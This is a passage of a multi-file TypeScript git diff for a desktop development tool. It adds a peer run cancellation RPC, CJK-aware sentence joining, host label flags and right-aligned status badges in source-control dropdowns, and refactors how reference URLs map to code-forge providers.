 import { CrewSubscribeParams } from '../orchestration/orchestration-crew'
+import { PeerRunCancelParams } from '../orchestration/remote-owned-wire'
 import { RegisterDeviceKeyParamsSchema } from '../remote-runtime/pairing/device-key-registration-contract'
 import { PairingCreateOfferParamsSchema } from '../remote-runtime/pairing/pairing-create-offer-contract'
 import { ExchangePairingTicketParamsSchema } from '../remote-runtime/pairing/ticket-exchange-contract'
@@ -984,6 +985,7 @@ export const RPC_PARAMS_BY_METHOD = {
   'browser.storage.session.clear': ExpectUrlBrowserTarget,
   'browser.storage.session.get': StorageKey,
   'browser.storage.session.set': StorageKeyValue,
+  'browser.tabAnnotations': BrowserTarget,
   'browser.tabClose': TabClose,
   'browser.tabCreate': BrowserTabCreateParams,
   'browser.tabCurrent': TabCurrent,
@@ -1371,6 +1373,7 @@ export const RPC_PARAMS_BY_METHOD = {
   'orchestration.peerMailAck': PeerMailAckParams,
   'orchestration.peerMailDeliver': PeerMailDeliverParams,
   'orchestration.peerMailPull': PeerMailPullParams,
+  'orchestration.peerRunCancel': PeerRunCancelParams,
   'orchestration.reply': ReplyParams,
   'orchestration.requestShow': RequestShowParams,
   'orchestration.reset': ResetParams,
diff --git a/src/shared/runtime-client-events.ts b/src/shared/runtime-client-events.ts
index 65cda9b9c1c..f12d57daf00 100644
--- a/src/shared/runtime-client-events.ts
+++ b/src/shared/runtime-client-events.ts
@@ -10,6 +10,7 @@ import type { TerminalSideEffectBatch } from './terminal/output/terminal-side-ef
 import type { RuntimeNativeChatLaunchDraftResolution } from './runtime-types'
 import type { RuntimeNavigationTarget } from './runtime-navigation'
 import type { WorktreeSortOrderUpdate } from './worktree/sort-order-update'
+import type { WorkspaceMetadataSet } from './worktree/workspace-metadata-set'
 import type { SidebarInputsChangedEvent } from './sidebar-list/sidebar-inputs-feed-contract'
 import type { BrowserClientHostRequestEvent } from './browser/client-hosting/browser-client-host-request-protocol'
 
@@ -38,6 +39,8 @@ export type RuntimeClientEvent =
     }
   /** An agent row changed (coalesced, no ids); phones re-read worktree.ps. Sent only while the sidebar feed is off. */
   | { type: 'worktreeRowsChanged' }
+  // Why: addressed workspace metadata; old clients drop the unknown type and see it on their next listing.
+  | ({ type: 'workspaceMetadataSet' } & WorkspaceMetadataSet)
   /** What mobileRelay.hosts.list answers changed; phones re-read it instead of polling. */
   | { type: 'relayHostsChanged' }
   /** A desktop PR refresh found this checkout's PR (or its absence) changed; phones re-read it. */
diff --git a/src/shared/runtime-rpc-envelope.ts b/src/shared/runtime-rpc-envelope.ts
index 5eb43892d1a..46c09295183 100644
--- a/src/shared/runtime-rpc-envelope.ts
+++ b/src/shared/runtime-rpc-envelope.ts
@@ -1,6 +1,7 @@
 // Share envelopes across CLI/desktop/non-Electron clients without client-to-client imports.
 import { z } from 'zod'
 import type { OrchestrationCompatibilityEvidence } from './orchestration/orchestration-compatibility-evidence'
+import type { RemoteOwnedPeerRun } from './orchestration/remote-owned-wire'
 
 // Independently updated peers may add envelope fields; strip unknown fields while validating known ones.
 const MetaSuccess = z
@@ -76,6 +77,8 @@ export type RuntimeOrchestrationEnvelope = {
   orchestrationCapability?: string
   orchestrationContractVersion?: number
   orchestrationRequestId?: string
+  /** A paired Orca acting as the coordinator of one of its Runs on this server. */
+  orchestrationPeerRun?: RemoteOwnedPeerRun
   compatibilityInvocationId?: string
   orchestrationCompatibilityEvidence?: OrchestrationCompatibilityEvidence
 }
diff --git a/src/shared/sentence-joining.ts b/src/shared/sentence-joining.ts
index 512704ca8ec..fc55243fb94 100644
--- a/src/shared/sentence-joining.ts
+++ b/src/shared/sentence-joining.ts
@@ -1,11 +1,21 @@
 // Japanese and Chinese run on after a full-width terminator; any other sentence takes a space.
 const RUNS_ON_AFTER = /[\u3002\uFF01\uFF1F]$/
+const CJK_TEXT = /[\u3040-\u30FF\u3400-\u9FFF\uF900-\uFAFF]$/u
+const ENDS_IN_PUNCTUATION = /[\p{P}\p{S}]$/u
+
+// Why: a CJK sentence whose catalog value drops its final stop still ends there, so it gets 。, not a space.
+function separatorAfter(previous: string): string {
+  if (RUNS_ON_AFTER.test(previous)) {
+    return ''
+  }
+  return CJK_TEXT.test(previous) && !ENDS_IN_PUNCTUATION.test(previous) ? '。' : ' '
+}
 
 /** Use each preceding sentence’s language, not UI locale, so English fallback text keeps its space beside translations. */
 export function joinSentences(sentences: readonly string[]): string {
   return sentences
     .map((sentence, index) =>
-      index === 0 || RUNS_ON_AFTER.test(sentences[index - 1]) ? sentence : ` ${sentence}`
+      index === 0 ? sentence : `${separatorAfter(sentences[index - 1])}${sentence}`
     )
     .join('')
 }
diff --git a/src/shared/sidebar-list/host-section-rows.ts b/src/shared/sidebar-list/host-section-rows.ts
index fb02011167d..0bd00502ac6 100644
--- a/src/shared/sidebar-list/host-section-rows.ts
+++ b/src/shared/sidebar-list/host-section-rows.ts
@@ -25,6 +25,7 @@ export type HostHeaderRow = {
   hostId: ExecutionHostId
   kind: ExecutionHostKind
   label: string
+  isDefaultLocalLabel?: boolean
   detail: string
   health: ExecutionHostHealth
   // Keep skew direction to deep-link the appropriate client/server update guidance.
@@ -44,6 +45,7 @@ export type HostSectionOption = {
   id: ExecutionHostId
   kind: ExecutionHostKind
   label: string
+  isDefaultLocalLabel?: boolean
   detail: string
   health: ExecutionHostHealth
   compatibility?: RuntimeCompatVerdict
@@ -76,6 +78,7 @@ function getFallbackHost(hostId: ExecutionHostId, localHostLabel: string): HostS
     id: hostId,
     kind: isLocal ? 'local' : hostId.startsWith('ssh:') ? 'ssh' : 'runtime',
     label: isLocal ? localHostLabel : hostId,
+    isDefaultLocalLabel: isLocal,
     detail: isLocal ? 'This computer' : 'Host',
     health: isLocal ? 'local' : 'available'
   }
@@ -280,6 +283,7 @@ export function addHostSectionRows(args: {
       hostId: host.id,
       kind: host.kind,
       label: host.label,
+      isDefaultLocalLabel: host.isDefaultLocalLabel,
       detail: host.detail,
       health: host.health,
       compatibility: host.compatibility,
diff --git a/src/shared/sidebar-list/sidebar-feed-index.ts b/src/shared/sidebar-list/sidebar-feed-index.ts
index 6ce57c2644b..12b17ceb634 100644
--- a/src/shared/sidebar-list/sidebar-feed-index.ts
+++ b/src/shared/sidebar-list/sidebar-feed-index.ts
@@ -1,8 +1,7 @@
 import {
   getSshTargetIdForExecutionHost,
   LOCAL_EXECUTION_HOST_ID,
-  parseExecutionHostId,
-  type ExecutionHostId
+  parseExecutionHostId
 } from '../execution-host'
 import { buildExecutionHostRegistry } from '../execution-host/execution-host-registry'
 import type { FolderWorkspace } from '../folder-workspaces/folder-workspace-types'
@@ -92,9 +91,6 @@ export function buildFeedHostOptions(
     const parsed = parseExecutionHostId(hostId)
     return parsed?.kind === 'runtime' && host ? [{ parsed, host }] : []
   })
-  const serverLabelByHostId = new Map<ExecutionHostId, string>(
-    servers.map(({ parsed, host }) => [parsed.id, host.label])
-  )
   const focused = parseExecutionHostId(view.defaultHostId)
   return buildExecutionHostRegistry({
     repos,
@@ -112,10 +108,8 @@ export function buildFeedHostOptions(
       name: host.label
     })),
     hostLabelOverrides: view.hostLabelOverrides,
-    localHostLabel: view.localHostLabel
-  }).map((host) => {
-    const label = serverLabelByHostId.get(host.id)
-    return label ? { ...host, label } : host
+    localHostLabel: view.localHostLabel,
+    localHostLabelIsDefault: true
   })
 }
 
diff --git a/src/shared/sidebar-list/sidebar-feed-rows.test.ts b/src/shared/sidebar-list/sidebar-feed-rows.test.ts
index 3003a97bf3b..d3b0c0610f4 100644
--- a/src/shared/sidebar-list/sidebar-feed-rows.test.ts
+++ b/src/shared/sidebar-list/sidebar-feed-rows.test.ts
@@ -16,6 +16,7 @@ import {
 import { IDLE_WORKSPACE_ACTIVITY } from './workspace-activity-facts'
 import { composeWorktreeHostIdentity } from '../worktree/host-qualified-identity'
 import { buildWorkspaceRows } from './workspace-rows'
+import { buildFeedHostOptions } from './sidebar-feed-index'
 import { folderWorkspaceRepoId } from '../folder-workspaces/folder-workspace-worktree'
 
 function worktree(id: string, overrides: Partial<Worktree> = {}): Worktree {
@@ -352,3 +353,28 @@ describe('buildSidebarFeedRows nests a server’s workspace under its folder wor
     ).toEqual(['folder f-1@0 children=1', 'r::/r/c@1'])
   })
 })
+
+it('preserves a renamed paired host and marks the default local label', () => {
+  const hosts = buildFeedHostOptions(
+    domains({
+      pairedServerHosts: new Map([
+        [
+          'runtime:a',
+          {
+            freshness: 'live',
+            host: {
+              label: 'Server',
+              health: 'available',
+              compatibility: null,
+              pairedDeviceId: null
+            }
+          }
+        ]
+      ])
+    }),
+    [],
+    view({ hostLabelOverrides: new Map([['runtime:a', 'Local Mac']]) })
+  )
+  expect(hosts.find((host) => host.id === 'runtime:a')?.label).toBe('Local Mac')
+  expect(hosts.find((host) => host.id === 'local')?.isDefaultLocalLabel).toBe(true)
+})
diff --git a/src/shared/source-control/ai/recipes/source-control-action-options.ts b/src/shared/source-control/ai/recipes/source-control-action-options.ts
index 7e81ba8059d..e303431d908 100644
--- a/src/shared/source-control/ai/recipes/source-control-action-options.ts
+++ b/src/shared/source-control/ai/recipes/source-control-action-options.ts
@@ -4,8 +4,7 @@ import { isAgentSessionHandleProvider } from '../../../agent-session/lifecycle/a
 import { STRUCTURED_LAUNCH_SEED_OPTION_IDS } from '../../../native-chat/input/native-chat-session-option-defaults'
 import {
   findCatalogModel,
-  getAgentSessionOptionLaunchCatalog,
-  getAgentSessionOptionCatalog
+  getAgentSessionOptionLaunchCatalog
 } from '../../../agent-session/options/agent-session-option-catalog'
 import type { CatalogOption } from '../../../agent-session/options/agent-session-option-catalog-types'
 import {
@@ -48,7 +47,7 @@ export function sourceControlActionOptions(
   agent: TuiAgent,
   modelId: string
 ): SourceControlActionOption[] {
-  const catalog = getAgentSessionOptionCatalog(agent)
+  const catalog = getAgentSessionOptionLaunchCatalog(agent)
   const model = findCatalogModel(catalog ?? { models: [], modelApply: {} }, modelId)
   const options = model?.options ?? catalog?.unknownModelOptions ?? []
   return options.flatMap((option): SourceControlActionOption[] => {
diff --git a/src/shared/source-control/dropdown/source-control-dropdown-commit-items.ts b/src/shared/source-control/dropdown/source-control-dropdown-commit-items.ts
index a3a8e50ba14..45e091a1fb9 100644
--- a/src/shared/source-control/dropdown/source-control-dropdown-commit-items.ts
+++ b/src/shared/source-control/dropdown/source-control-dropdown-commit-items.ts
@@ -1,6 +1,9 @@
 // Share commit blockers across Commit, Commit & Push, and Commit & Sync so disabled reasons agree.
 
-import type { CommitDisabledReason } from '../decisions/source-control-commit-eligibility'
+import {
+  COMMIT_MESSAGE_REQUIRED_REASON,
+  type CommitDisabledReason
+} from '../decisions/source-control-commit-eligibility'
 import type { DropdownItem } from './source-control-dropdown-item-types'
 import type { DropdownActionContext } from './source-control-dropdown-action-context'
 
@@ -26,6 +29,20 @@ export type CommitDropdownCopy = {
   commitThenPullPush: string
   // Eligibility compares the English reasons, so copy translates them only for display.
   commitDisabledReason: (reason: CommitDisabledReason) => string
+  commitDisabledStatus: (reason: CommitDisabledReason) => string
+  statusNotPublished: string
+  statusNoBranch: string
+}
+
+export function englishCommitDisabledStatus(reason: CommitDisabledReason): string {
+  switch (reason) {
+    case 'Resolve conflicts before committing':
+      return 'Conflicts'
+    case 'Stage at least one file to commit':
+      return 'Nothing staged'
+    case COMMIT_MESSAGE_REQUIRED_REASON:
+      return 'Needs message'
+  }
 }
 
 export const ENGLISH_COMMIT_DROPDOWN_COPY: CommitDropdownCopy = {
@@ -47,7 +64,10 @@ export const ENGLISH_COMMIT_DROPDOWN_COPY: CommitDropdownCopy = {
   publishBranchFirstToSync: 'Publish the branch first to sync commits',
   useCommitAndForcePush: 'Use Commit & Force Push — remote only has older copies of local commits',
   commitThenPullPush: 'Commit, then pull and push',
-  commitDisabledReason: (reason) => reason
+  commitDisabledReason: (reason) => reason,
+  commitDisabledStatus: englishCommitDisabledStatus,
+  statusNotPublished: 'Not published',
+  statusNoBranch: 'No branch'
 }
 
 export type CommitDropdownItems = {
@@ -77,11 +97,20 @@ export function buildCommitDropdownItems(
   } = ctx
   const commitDisabledTitle =
     commitDisabledReason === null ? null : copy.commitDisabledReason(commitDisabledReason)
+  const commitDisabledStatus =
+    commitDisabledReason === null ? undefined : copy.commitDisabledStatus(commitDisabledReason)
+  // Branch blockers outrank commit blockers, matching the title ladders below.
+  const branchBlockedStatus = publishBlockedByDetachedHead
+    ? copy.statusNoBranch
+    : !upstreamLoading && !hasUpstream
+      ? copy.statusNotPublished
+      : undefined
 
   const commit: DropdownItem = {
     kind: 'commit',
     label: copy.commit,
     title: commitDisabledTitle ?? copy.commitStagedChanges,
+    status: commitDisabledStatus,
     disabled: !canCommit
   }
 
@@ -108,6 +137,12 @@ export function buildCommitDropdownItems(
     kind: 'commit_push',
     label: shouldForcePushWithLease ? copy.commitForcePush : copy.commitPush,
     title: commitPushTitle,
+    status:
+      upstreamLoading || publishBlockedByPRLoading || publishBlockedByMergedPR
+        ? undefined
+        : !hasUpstream && hasOpenHostedReview && canPushLinkedReviewWithoutUpstream
+          ? commitDisabledStatus
+          : (branchBlockedStatus ?? commitDisabledStatus),
     // Match Push: without upstream, Commit & Push requires a known open-review head.
     disabled:
       globalBusy ||
@@ -145,6 +180,10 @@ export function buildCommitDropdownItems(
     kind: 'commit_sync',
     label: copy.commitSync,
     title: commitSyncTitle,
+    status:
+      upstreamLoading || publishBlockedByPRLoading || publishBlockedByMergedPR
+        ? undefined
+        : (branchBlockedStatus ?? commitDisabledStatus),
     disabled:
       globalBusy ||
       upstreamLoading ||
diff --git a/src/shared/source-control/dropdown/source-control-dropdown-item-types.ts b/src/shared/source-control/dropdown/source-control-dropdown-item-types.ts
index ac0a2b288a5..896f0c391c2 100644
--- a/src/shared/source-control/dropdown/source-control-dropdown-item-types.ts
+++ b/src/shared/source-control/dropdown/source-control-dropdown-item-types.ts
@@ -32,6 +32,11 @@ export type DropdownItem = {
   title: string
   disabled: boolean
   hint?: string
+  // Short right-aligned state; `title` keeps the full sentence for screen readers.
+  status?: string
+  statusTone?: 'active' | 'warning'
+  // Nothing to do right now, but still clickable (counts can be stale until a fetch).
+  idle?: boolean
   variant?: 'default' | 'destructive'
 }
 
diff --git a/src/shared/source-control/dropdown/source-control-dropdown-labels.ts b/src/shared/source-control/dropdown/source-control-dropdown-labels.ts
index a24c58719bf..4df2193f00a 100644
--- a/src/shared/source-control/dropdown/source-control-dropdown-labels.ts
+++ b/src/shared/source-control/dropdown/source-control-dropdown-labels.ts
@@ -14,15 +14,16 @@ export function describeSyncCounts(ahead: number, behind: number): string {
   return `Pull ${behind}, push ${ahead}`
 }
 
-export function formatCountLabel(base: string, count: number): string {
-  return count > 0 ? `${base} (${count})` : base
+export function formatAheadStatus(ahead: number): string {
+  return `↑${ahead}`
 }
 
-export function formatSyncLabel(base: string, ahead: number, behind: number): string {
-  if (ahead === 0 && behind === 0) {
-    return base
-  }
-  return `${base} (↓${behind} ↑${ahead})`
+export function formatBehindStatus(behind: number): string {
+  return `↓${behind}`
+}
+
+export function formatSyncStatus(ahead: number, behind: number): string {
+  return `↓${behind} ↑${ahead}`
 }
 
 export function formatForcePushTitle(
diff --git a/src/shared/source-control/dropdown/source-control-dropdown-remote-copy.ts b/src/shared/source-control/dropdown/source-control-dropdown-remote-copy.ts
index e8130c32f27..c2160c25104 100644
--- a/src/shared/source-control/dropdown/source-control-dropdown-remote-copy.ts
+++ b/src/shared/source-control/dropdown/source-control-dropdown-remote-copy.ts
@@ -64,6 +64,14 @@ export type RemoteDropdownCopy = {
   forcePushWithLease: (branchCommitsAhead: number | undefined, upstreamName?: string) => string
   manualForcePush: (ahead: number, behind: number, upstreamName?: string) => string
   unpublishedForcePush: (branchCommitsAhead: number | undefined) => string
+  statusUpToDate: string
+  statusSetsUpstream: string
+  statusNotPublished: string
+  statusNoBranch: string
+  statusMayFail: string
+  statusPublished: string
+  statusStashFirst: string
+  statusReplaces: (behind: number) => string
 }
 
 export const ENGLISH_REMOTE_DROPDOWN_COPY: RemoteDropdownCopy = {
@@ -121,5 +129,13 @@ export const ENGLISH_REMOTE_DROPDOWN_COPY: RemoteDropdownCopy = {
   syncCounts: describeSyncCounts,
   forcePushWithLease: formatForcePushTitle,
   manualForcePush: formatManualForcePushTitle,
-  unpublishedForcePush: formatUnpublishedForcePushTitle
+  unpublishedForcePush: formatUnpublishedForcePushTitle,
+  statusUpToDate: 'Up to date',
+  statusSetsUpstream: 'Sets upstream',
+  statusNotPublished: 'Not published',
+  statusNoBranch: 'No branch',
+  statusMayFail: 'May fail',
+  statusPublished: 'Published',
+  statusStashFirst: 'Stash first',
+  statusReplaces: (behind) => `Replaces ↓${behind}`
 }
diff --git a/src/shared/source-control/dropdown/source-control-dropdown-remote-items.ts b/src/shared/source-control/dropdown/source-control-dropdown-remote-items.ts
index 997b30d3f65..8219d7d8249 100644
--- a/src/shared/source-control/dropdown/source-control-dropdown-remote-items.ts
+++ b/src/shared/source-control/dropdown/source-control-dropdown-remote-items.ts
@@ -1,9 +1,10 @@
 import type { DropdownItem } from './source-control-dropdown-item-types'
 import type { DropdownActionContext } from './source-control-dropdown-action-context'
 import {
-  formatCountLabel,
+  formatAheadStatus,
+  formatBehindStatus,
   formatRebaseBaseRef,
-  formatSyncLabel
+  formatSyncStatus
 } from './source-control-dropdown-labels'
 import {
   ENGLISH_REMOTE_DROPDOWN_COPY,
@@ -45,10 +46,32 @@ export function buildRemoteDropdownItems(
     shouldForcePushWithLease,
     pushLabelCount
   } = ctx
-
+  const remoteBlockedStatus = publishBlockedByDetachedHead
+    ? copy.statusNoBranch
+    : !upstreamLoading && !hasUpstream
+      ? copy.statusNotPublished
+      : undefined
+  // Pull-side counts can be stale until a fetch, and these actions fetch first, so they stay clickable.
+  const incomingStatus = (incoming: string | undefined): Partial<DropdownItem> => {
+    if (remoteBlockedStatus || upstreamLoading) {
+      return { status: remoteBlockedStatus }
+    }
+    return incoming
+      ? { status: incoming, statusTone: 'active' }
+      : { status: copy.statusUpToDate, idle: true }
+  }
   const push: DropdownItem = {
     kind: 'push',
-    label: formatCountLabel(copy.push, ahead),
+    label: copy.push,
+    ...(publishBlockedByDetachedHead
+      ? { status: copy.statusNoBranch }
+      : pushBlockedByOpenHostedReviewTarget || upstreamLoading || canPushUntrackedHostedReview
+        ? {}
+        : !hasUpstream
+          ? { status: copy.statusSetsUpstream }
+          : ahead > 0
+            ? { status: formatAheadStatus(ahead), statusTone: 'active' as const }
+            : { status: copy.statusUpToDate, idle: true }),
     title: publishBlockedByDetachedHead
       ? copy.checkOutBranchToPush
       : pushBlockedByOpenHostedReviewTarget
@@ -74,7 +97,16 @@ export function buildRemoteDropdownItems(
 
   const forcePush: DropdownItem = {
     kind: 'force_push',
-    label: formatCountLabel(copy.forcePush, pushLabelCount),
+    label: copy.forcePush,
+    ...(publishBlockedByDetachedHead
+      ? { status: copy.statusNoBranch }
+      : pushBlockedByOpenHostedReviewTarget || upstreamLoading || !hasUpstream
+        ? {}
+        : behind > 0 && !shouldForcePushWithLease
+          ? { status: copy.statusReplaces(behind), statusTone: 'warning' as const }
+          : pushLabelCount > 0
+            ? { status: formatAheadStatus(pushLabelCount), statusTone: 'active' as const }
+            : { status: copy.statusUpToDate, idle: true }),
     title: publishBlockedByDetachedHead
       ? copy.checkOutBranchToForcePush
       : pushBlockedByOpenHostedReviewTarget
@@ -83,7 +115,7 @@ export function buildRemoteDropdownItems(
           ? copy.unpublishedForcePush(branchCommitsAhead)
           : !hasUpstream
             ? copy.unpublishedForcePush(branchCommitsAhead)
-            : pushLabelCount === 0
+            : pushLabelCount === 0 && behind === 0
               ? upstreamStatus?.upstreamName
                 ? copy.nothingToForcePushTo(upstreamStatus.upstreamName)
                 : copy.nothingToForcePush
@@ -96,7 +128,10 @@ export function buildRemoteDropdownItems(
 
   const pull: DropdownItem = {
     kind: 'pull',
-    label: formatCountLabel(copy.pull, behind),
+    label: copy.pull,
+    ...incomingStatus(
+      behind > 0 && !shouldForcePushWithLease ? formatBehindStatus(behind) : undefined
+    ),
     title: upstreamLoading
       ? copy.checkingBranchStatus
       : publishBlockedByPRLoading
@@ -117,7 +152,16 @@ export function buildRemoteDropdownItems(
 
   const fastForward: DropdownItem = {
     kind: 'fast_forward',
-    label: formatCountLabel(copy.fastForward, behind),
+    label: copy.fastForward,
+    ...(behind > 0 &&
+    ahead > 0 &&
+    !shouldForcePushWithLease &&
+    !remoteBlockedStatus &&
+    !upstreamLoading
+      ? { status: copy.statusMayFail, statusTone: 'warning' as const }
+      : incomingStatus(
+          behind > 0 && !shouldForcePushWithLease ? formatBehindStatus(behind) : undefined
+        )),
     title: upstreamLoading
       ? copy.checkingBranchStatus
       : publishBlockedByPRLoading
@@ -140,7 +184,10 @@ export function buildRemoteDropdownItems(
 
   const sync: DropdownItem = {
     kind: 'sync',
-    label: formatSyncLabel(copy.sync, ahead, behind),
+    label: copy.sync,
+    ...(shouldForcePushWithLease
+      ? {}
+      : incomingStatus(ahead > 0 || behind > 0 ? formatSyncStatus(ahead, behind) : undefined)),
     title: upstreamLoading
       ? copy.checkingBranchStatus
       : publishBlockedByPRLoading
@@ -178,6 +225,10 @@ export function buildRemoteDropdownItems(
       }
       return copy.rebaseWithLatestFrom(rebaseBaseLabel)
     })(),
+    status:
+      rebaseBaseLabel && hasRemoteBaseRef && hasDirtyLocalChanges
+        ? copy.statusStashFirst
+        : undefined,
     disabled: globalBusy || !rebaseBaseRef || !hasRemoteBaseRef
   }
 
@@ -198,6 +249,8 @@ export function buildRemoteDropdownItems(
           : publishBlockedByDetachedHead
             ? copy.publishNoBranch
             : copy.publishBranch,
+    // Detached HEAD already reads "No Branch" in the label.
+    status: hasUpstream && !upstreamLoading ? copy.statusPublished : undefined,
     title: upstreamLoading
       ? copy.checkingBranchStatus
       : publishBlockedByPRLoading
diff --git a/src/shared/status-bar-usage-format.ts b/src/shared/status-bar-usage-format.ts
new file mode 100644
index 00000000000..b3b0d62c8ad
--- /dev/null
+++ b/src/shared/status-bar-usage-format.ts
@@ -0,0 +1,67 @@
+import type { ProviderRateLimits } from './rate-limit-types'
+
+export type StatusBarUsageProvider = ProviderRateLimits['provider']
+
+const STATUS_BAR_USAGE_PROVIDERS: ReadonlySet<string> = new Set<StatusBarUsageProvider>([
+  'claude',
+  'codex',
+  'gemini',
+  'opencode-go',
+  'kimi',
+  'minimax',
+  'grok',
+  'antigravity',
+  'cursor',
+  'zcode',
+  'muse'
+])
+
+/** User-defined footer usage text. Empty `template` means Orca's built-in rendering. */
+export type StatusBarUsageFormat = {
+  template: string
+  /** Per-provider templates that win over `template`; absent providers fall back to it. */
+  byProvider?: Partial<Record<StatusBarUsageProvider, string>>
+}
+
+export const DEFAULT_STATUS_BAR_USAGE_FORMAT: StatusBarUsageFormat = { template: '' }
+
+/** Plain-object guard for persisted JSON. */
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+function isStatusBarUsageProvider(value: string): value is StatusBarUsageProvider {
+  return STATUS_BAR_USAGE_PROVIDERS.has(value)
+}
+
+/** Coerces persisted/RPC input into a valid format, dropping unknown providers and non-string overrides. */
+export function normalizeStatusBarUsageFormat(value: unknown): StatusBarUsageFormat {
+  if (!isRecord(value)) {
+    return { ...DEFAULT_STATUS_BAR_USAGE_FORMAT }
+  }
+  const template = typeof value.template === 'string' ? value.template : ''
+  const byProvider: Partial<Record<StatusBarUsageProvider, string>> = {}
+  if (isRecord(value.byProvider)) {
+    for (const [provider, override] of Object.entries(value.byProvider)) {
+      if (isStatusBarUsageProvider(provider) && typeof override === 'string') {
+        byProvider[provider] = override
+      }
+    }
+  }
+  return Object.keys(byProvider).length > 0 ? { template, byProvider } : { template }
+}
+
+/** The template to render for `provider`, or null when the built-in rendering should be used. */
+export function resolveStatusBarUsageTemplate(
+  format: StatusBarUsageFormat | null | undefined,
+  provider: StatusBarUsageProvider
+): string | null {
+  if (!format) {
+    return null
+  }
+  const override = format.byProvider?.[provider]
+  if (override && override.trim()) {
+    return override
+  }
+  return format.template.trim() ? format.template : null
+}
diff --git a/src/shared/telemetry-property-schemas.ts b/src/shared/telemetry-property-schemas.ts
index 2e39aad61b4..78ec3093374 100644
--- a/src/shared/telemetry-property-schemas.ts
+++ b/src/shared/telemetry-property-schemas.ts
@@ -198,7 +198,7 @@ export const SETTINGS_CHANGED_WHITELIST = [
   'terminalLinkActionPopoverEnabled',
   'experimentalMobile',
   'experimentalPet',
-  'experimentalBrowserExtensions',
+  'browserExtensionsEnabled',
   'experimentalActivity',
   'experimentalAgentDashboardPopout',
   'experimentalTerminalAttention',
diff --git a/src/shared/testing/remove-temp-dirs.test-support.ts b/src/shared/testing/remove-temp-dirs.test-support.ts
new file mode 100644
index 00000000000..add5c8e901d
--- /dev/null
+++ b/src/shared/testing/remove-temp-dirs.test-support.ts
@@ -0,0 +1,10 @@
+import { removeTree } from '../windows-transient-lock-removal'
+
+/** Removes every directory even when one fails, then rethrows the first failure. */
+export async function removeTempDirs(dirs: readonly string[]): Promise<void> {
+  const results = await Promise.allSettled(dirs.map((dir) => removeTree(dir)))
+  const failed = results.find((result) => result.status === 'rejected')
+  if (failed) {
+    throw failed.reason
+  }
+}
diff --git a/src/shared/worker-transcript-text.ts b/src/shared/worker-transcript-text.ts
index 038f451e1ff..895a387ba38 100644
--- a/src/shared/worker-transcript-text.ts
+++ b/src/shared/worker-transcript-text.ts
@@ -7,6 +7,7 @@ import {
 } from './native-chat/transcript/native-chat-subagent-summary'
 import { subagentFallbackText } from './native-chat/transcript/native-chat-subagent-items'
 import type { NativeChatMessage } from './native-chat/native-chat-types'
+import { isInlineDataUrl } from './native-chat/native-chat-inline-data-url'
 
 export function formatWorkerTranscriptMessage(message: NativeChatMessage): string {
   const fallbacks = workerTranscriptBlockFallbacks(message.blocks)
@@ -21,7 +22,7 @@ export function formatWorkerTranscriptMessage(message: NativeChatMessage): strin
       return `[tool result${block.isError ? ' error' : ''}] ${block.output}`
     }
     if (block.type === 'image-ref') {
-      return block.url ? `[image] ${block.url}` : `[image omitted]`
+      return block.url && !isInlineDataUrl(block.url) ? `[image] ${block.url}` : `[image omitted]`
     }
     if (
       block.type === 'background-task' ||
diff --git a/src/shared/workspace-attachments/workspace-reference-identity.ts b/src/shared/workspace-attachments/workspace-reference-identity.ts
index 179e355c7fd..408a047d1e1 100644
--- a/src/shared/workspace-attachments/workspace-reference-identity.ts
+++ b/src/shared/workspace-attachments/workspace-reference-identity.ts
@@ -2,6 +2,7 @@ import { parseJiraIssueUrl, JIRA_ISSUE_KEY_PATTERN } from '../jira/jira-issue-ur
 import { parseLinearIssueInput, parseLinearIssueUrlIntent } from '../linear/links'
 import { getTaskSourceCacheScope } from '../work-items/task-source-context'
 import type { WorkspaceAttachment } from '../worktree/types'
+import { getPublicForgeProviderForHost } from '../git/remotes/public-forge-host'
 
 export type WorkspaceReferenceQuery =
   | { kind: 'url'; identity: string }
@@ -9,13 +10,22 @@ export type WorkspaceReferenceQuery =
   | { kind: 'issue-url'; route: string }
   | { kind: 'issue-key'; identifier: string }
 
-const HOST_PROVIDERS: Readonly<Record<string, WorkspaceAttachment['provider']>> = {
-  'github.com': 'github',
-  'gitlab.com': 'gitlab',
-  'linear.app': 'linear',
-  'codeberg.org': 'gitea',
-  'bitbucket.org': 'bitbucket',
-  'dev.azure.com': 'azure-devops'
+// Keep existing saved-reference URL normalization separate from remote-host ownership.
+const PUBLIC_REFERENCE_HOSTS = new Set([
+  'github.com',
+  'gitlab.com',
+  'codeberg.org',
+  'bitbucket.org',
+  'dev.azure.com'
+])
+
+function referenceHostProvider(host: string): WorkspaceAttachment['provider'] | undefined {
+  if (host === 'linear.app') {
+    return 'linear'
+  }
+  return PUBLIC_REFERENCE_HOSTS.has(host)
+    ? (getPublicForgeProviderForHost(host) ?? undefined)
+    : undefined
 }
 
 const CASE_INSENSITIVE_PATH_PROVIDERS: ReadonlySet<WorkspaceAttachment['provider']> = new Set([
@@ -37,7 +47,7 @@ function referenceUrl(input: string): URL {
   url.search = ''
   url.hash = ''
   url.pathname = url.pathname.replace(/\/+$/, '')
-  if (url.hostname.startsWith('www.') && HOST_PROVIDERS[url.hostname.slice(4)]) {
+  if (url.hostname.startsWith('www.') && referenceHostProvider(url.hostname.slice(4))) {
     url.hostname = url.hostname.slice(4)
   }
   return url
@@ -63,7 +73,7 @@ export function parseWorkspaceReferenceUrl(
   providerHint?: WorkspaceAttachment['provider']
 ): WorkspaceAttachment {
   const url = referenceUrl(input)
-  const knownProvider = HOST_PROVIDERS[url.hostname]
+  const knownProvider = referenceHostProvider(url.hostname)
   const item = parseReferenceRoute(url, knownProvider ?? providerHint)
   if (
     (knownProvider && item.provider !== knownProvider) ||
diff --git a/src/shared/workspace-session/workspace-session-browser-schema.ts b/src/shared/workspace-session/workspace-session-browser-schema.ts
index 4131a510337..6d32d956309 100644
--- a/src/shared/workspace-session/workspace-session-browser-schema.ts
+++ b/src/shared/workspace-session/workspace-session-browser-schema.ts
@@ -4,6 +4,7 @@ import { normalizeBrowserHistoryEntries } from './workspace-session-browser-hist
 import { normalizeWorkspaceDocHistoryEntries } from './workspace-doc-history'
 import { isDocPreviewUrl } from '../document-preview/doc-preview-scheme'
 import { salvagingArray } from '../zod-salvage'
+import { browserPageAnnotationSchema } from '../browser/annotations/browser-page-annotation-schema'
 
 const browserLoadErrorSchema = z.object({
   code: z.number(),
@@ -88,7 +89,9 @@ export const browserPageSchema = z.object({
   docLocation: browserPageDocLocationSchema.nullable().optional(),
   // Persist one-level conversion history; reject preview-scheme URLs at this read boundary as at every URL sink.
   convertedFrom: browserPageConversionOriginSchema,
